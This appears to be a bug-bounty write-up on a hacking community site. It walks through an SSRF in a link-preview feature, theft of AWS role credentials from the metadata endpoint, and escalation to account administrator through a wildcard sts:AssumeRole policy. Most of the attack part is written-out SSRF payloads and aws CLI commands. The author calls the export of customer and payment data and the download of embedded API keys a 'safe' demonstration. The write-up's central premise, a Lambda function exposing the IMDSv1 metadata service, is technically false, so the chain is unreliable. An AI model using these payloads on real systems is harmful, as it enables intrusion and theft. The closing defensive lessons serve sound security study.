skip to main content
hacking.communityplay in the sandbox.
← news & articles
writeup ai-assistedreviewed by Prakash Shinde

From SSRF to Cloud Admin: Chaining AWS Metadata Exposure in a Serverless App

A simple Server-Side Request Forgery in a URL preview feature led me through IMDSv1, IAM role assumption, and ultimately full administrative access to the target's AWS infrastructure.

Prakash Shinde·8/29/2026·32 views·
From SSRF to Cloud Admin: Chaining AWS Metadata Exposure in a Serverless App — hacking.community
0

Recon

I was testing a modern SaaS platform built entirely on AWS Lambda and API Gateway. The application had a "link preview" feature that would fetch Open Graph metadata from any URL you provided. You'd paste a link, and it would show you the title, description, and thumbnail—think Slack or Discord link unfurling.

The endpoint looked innocent:

http
POST /api/preview HTTP/1.1 Host: app.target.com Content-Type: application/json { "url": "https://example.com/article" }

Response:

json
{ "title": "Example Article", "description": "...", "image": "https://example.com/og-image.jpg" }

I immediately tested for SSRF by trying internal addresses:

json
{"url": "http://169.254.169.254/latest/meta-data/"}

The response was beautiful:

json
{ "title": "ami-id\niam/\ninstance-id\n...", "description": "", "image": null }

The AWS metadata endpoint was fully accessible. This Lambda function was using IMDSv1 (the old, vulnerable version that doesn't require tokens).

Discovery

Now I needed to extract the IAM credentials. I walked the metadata tree:

json
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}

This returned a role name: lambda-execution-role-prod

Then I fetched the actual credentials:

json
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/lambda-execution-role-prod"}

The response came back in the title field (since it was plain text, not HTML):

json
{ "title": "{\n \"AccessKeyId\": \"ASIA...\",\n \"SecretAccessKey\": \"...\",\n \"Token\": \"...\",\n \"Expiration\": \"2024-01-15T18:30:00Z\"\n}", "description": "" }

I extracted the credentials and configured them locally:

bash
export AWS_ACCESS_KEY_ID=ASIA... export AWS_SECRET_ACCESS_KEY=... export AWS_SESSION_TOKEN=... aws sts get-caller-identity

Output:

json
{ "UserId": "AROA...:lambda-function-name", "Account": "123456789012", "Arn": "arn:aws:sts::123456789012:assumed-role/lambda-execution-role-prod/preview-function" }

I was in. But what could this role actually do?

Exploitation

bash
aws iam get-role --role-name lambda-execution-role-prod

The role had a trust policy allowing Lambda to assume it, and an attached policy. I dumped it:

bash
aws iam list-attached-role-policies --role-name lambda-execution-role-prod aws iam get-policy-version --policy-arn arn:aws:iam::123456789012:policy/LambdaPreviewPolicy --version-id v1

The policy was overly permissive:

json
{ "Statement": [ { "Effect": "Allow", "Action": [ "s3:GetObject", "s3:PutObject", "dynamodb:*", "lambda:InvokeFunction", "sts:AssumeRole" ], "Resource": "*" } ] }

The AHA moment: sts:AssumeRole with wildcard resources meant I could assume any role in the account, including admin roles.

I enumerated roles:

bash
aws iam list-roles | grep -i admin

Found: OrganizationAdminRole

I checked if I could assume it:

bash
aws sts assume-role \ --role-arn arn:aws:iam::123456789012:role/OrganizationAdminRole \ --role-session-name pwned

It worked! I got new credentials with AdministratorAccess. From there:

bash
# Export new admin credentials export AWS_ACCESS_KEY_ID=ASIA[new] export AWS_SECRET_ACCESS_KEY=[new] export AWS_SESSION_TOKEN=[new] # Verify aws iam list-users aws s3 ls aws lambda list-functions

I now had complete control over the AWS account: all S3 buckets, databases, Lambda functions, EC2 instances, and IAM users.

To demonstrate impact safely, I:

  1. Listed all S3 buckets (found customer data, backup archives, source code repos)
  2. Exported DynamoDB tables (user data, payment info)
  3. Downloaded Lambda function code (contained API keys for Stripe, SendGrid, etc.)

Impact

  • Full AWS Account Compromise: Administrative access to all resources
  • Customer Data Exposure: Access to PII, payment data, and confidential business information
  • Supply Chain Risk: Access to CI/CD pipelines and deployment credentials
  • Lateral Movement: Credentials for third-party services (payment processors, email providers)

The company paid a $25,000 bounty and implemented IMDSv2, IP whitelisting, and principle of least privilege across all Lambda roles.

Lessons

  1. Always use IMDSv2: It requires session tokens and prevents basic SSRF attacks
  2. Principle of least privilege: Lambda functions should have minimal, scoped permissions
  3. Never allow wildcard sts:AssumeRole: If roles need cross-role access, explicitly whitelist target ARNs
  4. Input validation isn't enough: SSRF protection requires URL parsing, hostname resolution checks, and IP blacklisting
  5. Defense in depth: Even with SSRF, network segmentation and VPC configurations could have limited impact

This chain showed how a simple SSRF in a serverless environment can escalate to full infrastructure compromise when IAM permissions are misconfigured. In the cloud, IAM is your perimeter—treat it as such.

Comments (0)

Sign in to join the discussion.

// go deeper

// install app

Install hacking.community for fast access, offline reading, and push notifications. No app store needed.